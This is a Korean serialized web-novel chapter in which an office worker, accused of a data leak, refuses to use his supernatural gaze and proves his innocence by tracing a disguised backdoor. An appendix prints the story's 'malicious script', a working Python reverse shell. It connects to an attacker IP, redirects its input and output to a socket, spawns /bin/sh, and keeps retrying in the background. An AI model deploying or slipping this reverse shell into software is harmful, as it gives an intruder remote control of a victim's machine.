728x90

이전 이야기 : https://thepin.tistory.com/208

제7화. 오해의 대가

“이한결 씨, 지금 당장 보안팀으로 오세요.”

내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을 삼키며 자리에서 일어났다.

보안팀 조사실은 창문 하나 없는 밀실이었다. 책상 위에는 내 노트북이 덩그러니 놓여 있었고, 보안팀장과 박성우 팀장, 그리고 감사팀 직원이 나를 기다리고 있었다.

“본론부터 말하죠. 어제 새벽 3시, 우리 회사 고객 데이터베이스(DB)에서 VIP 회원 정보 5만 건이 외부로 유출됐습니다.”

보안팀장이 모니터를 돌려 로그 화면을 보여주었다.

[ACCESS LOG] User: hk_lee (Lee Han-gyul) / Time: 03:14:22 / Action: EXPORT DATA

내 아이디였다.

“이한결 씨. 파이썬으로 자동화 스크립트 잘 짠다고 소문났더군요. 그 실력으로 이런 짓을 벌인 겁니까?”

감사팀 직원이 비아냥거렸다.

“아닙니다. 저는 어제 10시에 퇴근했습니다. 집에 가서 바로 잤고요.”

“로그는 거짓말을 안 합니다. 당신 PC에서, 당신 아이디로 접속해서 데이터를 빼갔어요. 게다가 요즘 회사에 불만이 많다는 소문도 있던데. 동료들한테 위협적인 행동을 했다면서요?”

최 주임과의 사건, 그리고 나를 둘러싼 ‘기분 나쁜 눈빛’에 대한 소문. 그것들이 이제는 나를 범죄자로 모는 증거가 되고 있었다.

“팀장님, 저 아닙니다. 믿어주세요.”

나는 박 팀장을 바라봤다. 하지만 박 팀장조차 곤혹스러운 표정으로 시선을 피했다.

“한결 씨… 정황이 너무 확실해. 일단 조사 끝날 때까지 대기해.”

가슴이 답답해졌다. 억울함이 식도를 타고 넘어와 입안을 쓰게 만들었다. 내가 하지 않았다는 사실은 중요하지 않았다. 그들에게 필요한 건 범인, 그리고 희생양이었다.

‘눈을 쓸까?’

유혹이 뱀처럼 스멀거렸다. 아주 쉬운 길이었다. 지금 이 방에 있는 세 사람의 눈을 차례로 마주치고, ‘나는 범인이 아니다’라는 확신을 심어주면 된다. 아니, 차라리 저 비아냥거리는 감사팀 직원이 스스로 범인이라고 자백하게 만들 수도 있다. 그러면 이 지옥 같은 상황은 5분 안에 끝난다.

나는 고개를 들어 보안팀장의 눈을 보았다. 내 눈동자 깊은 곳에서 익숙하고도 위험한 보라색 빛이 꿈틀거렸다. 시신경이 뜨거워졌다.

하지만 그 순간, 내 머릿속을 스치는 기억이 있었다. 모니터 아래 붙여두었던 낡은 포스트잇.

[FACT & LOGIC]

감정을 섞지 않는다. 오직 데이터와 논리로만 말한다.

나는 주먹을 꽉 쥐었다. 손톱이 살을 파고드는 고통이 나를 현실로 붙잡았다.

‘아니야. 여기서 능력을 쓰면, 나는 영원히 괴물이 되는 거야. 껍데기뿐인 결백은 필요 없어.’

나는 눈을 감았다 떴다. 보라색 잔상을 지워내고, 차가운 이성을 채워 넣었다.

“제 노트북, 제가 직접 조사하게 해주십시오.”

“뭐라고요? 증거 인멸이라도 하려고?”

“화면 미러링해서 다 보여드리겠습니다. 제가 짠 코드가 아니라면, 분명 다른 흔적이 있을 겁니다. 로그는 거짓말을 안 한다고 하셨죠? 그 로그, 제가 끝까지 파보겠습니다.”

내 목소리에는 물러설 수 없는 결기가 서려 있었다. 박 팀장이 나를 빤히 쳐다보더니, 보안팀장에게 고개를 끄덕였다.

“한번 기회 줍시다. 어차피 네트워크 차단돼 있어서 데이터 못 빼돌립니다.”

나는 떨리는 손으로 키보드 위에 손을 올렸다. 차가운 플라스틱 감촉이 손끝에 닿자, 두려움 대신 기묘한 집중력이 차올랐다. 터미널 창의 검은 화면은 나에게 익숙한 전장이었다.

‘범인은 내 PC를 경유했어. 흔적을 지웠다고 생각하겠지만, 로그는 거짓말을 하지 않아.’

나는 사냥꾼이 되어 0과 1의 숲을 뒤지기 시작했다. 시스템 접속 로그, 프로세스 목록, 네트워크 연결 상태... 수천 줄의 텍스트가 폭포수처럼 쏟아져 내렸다.

‘백도어(Backdoor). 분명 어딘가에 숨구멍을 뚫어놨을 거야.’

나는 먼저 현재 활성화된 네트워크 연결 상태를 확인했다.

netstat -antp | grep ESTABLISHED

눈이 빠르게 화면을 훑었다. 0과 1의 바다. 그 속에서 이질적인 패턴을 찾아야 했다.

“찾았다.”

30분 뒤, 나는 숨겨진 프로세스 하나를 발견했다. system_update.py라는 이름으로 위장하고 있었지만, 실행 경로는 임시 폴더(/tmp)였다.

“이거 보세요. 어제 오후 6시, 사내 메일로 온 ‘보안 업데이트 안내’ 첨부파일이 실행된 기록입니다. 이 파일이 실행되면서 제 PC에 원격 제어 포트를 열었습니다.”

나는 해당 파일의 소스 코드를 열어 역추적했다. 코드는 조잡했다. 그리고 결정적으로, 데이터를 전송한 목적지 IP가 찍혀 있었다.

“192.168.0.15… 이거 사내 IP 아닙니까?”

보안팀장의 얼굴이 사색이 되었다. 그는 급히 IP 대역을 조회했다.

“이거… 마케팅팀 공용 PC인데?”

진범은 외부에 있지 않았다. 내부의 누군가가 마케팅팀 PC를 이용해 내 컴퓨터를 해킹하고, 나에게 죄를 뒤집어씌운 것이다.

“제 알리바이는 증명됐습니다. 저는 해킹의 피해자이지, 가해자가 아닙니다.”

나는 키보드에서 손을 떼며 말했다. 등 뒤가 식은땀으로 젖어 있었다.

조사실에 침묵이 흘렀다. 감사팀 직원은 헛기침하며 시선을 돌렸고, 보안팀장은 당황해서 어쩔 줄 몰라 했다.

“미안하네, 한결 씨. 우리가 오해했어.”

박 팀장이 다가와 내 어깨를 잡았다. 그의 손은 따뜻했다. 그리고 이번에는, 그가 내 눈을 똑바로 바라보았다.

“자네 눈빛… 아까 보니까 진짜더구만. 거짓말하는 사람 눈이 아니었어.”

그 말에 나는 울컥 눈물이 쏟아질 뻔했다.

능력을 쓰지 않았다. 기억을 조작하지 않았다.
오직 팩트와 논리, 그리고 진심으로 부딪쳤다.

그제야 비로소, 사람들은 나의 ‘눈’이 아니라 ‘나’를 믿어주기 시작했다.

조사실을 나오며 나는 복도 창문에 비친 내 모습을 보았다.
여전히 창백하고 지쳐 보였지만, 눈동자만은 그 어느 때보다 맑게 빛나고 있었다.

‘이제 알겠어.’

나를 지키는 건 초능력이 아니다.
나를 지키는 건, 떳떳함이다.

 


다음 이야기 : https://thepin.tistory.com/210

 

소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛

제8화. 리더의 눈빛“이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.”박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만

thepin.tistory.com

 

[부록] 한결이 발견한 악성 스크립트 (system_update.py)

import socket
import subprocess
import os
import time

# 설정: 공격자(마케팅팀 PC) IP 및 포트
# 내부망의 특정 PC로 리버스 쉘을 연결하도록 설정됨
ATTACKER_IP = '192.168.0.15'
ATTACKER_PORT = 8080

def connect():
    while True:
        try:
            # 소켓 생성 및 공격자 서버 연결 시도
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))

            # 연결 성공 시 쉘 실행 (Backdoor)
            # 표준 입력(0), 출력(1), 에러(2)를 소켓으로 리다이렉션
            os.dup2(s.fileno(), 0)
            os.dup2(s.fileno(), 1)
            os.dup2(s.fileno(), 2)

            # 쉘 실행 (원격 제어 가능 상태)
            p = subprocess.call(["/bin/sh", "-i"])
            s.close()
            break
        except Exception:
            # 연결 실패 시 10초 후 재시도 (백그라운드 유지)
            time.sleep(10)

if __name__ == "__main__":
    # 'system_update'라는 이름으로 위장하여 실행
    connect()
728x90
Posted by 댕기사랑
,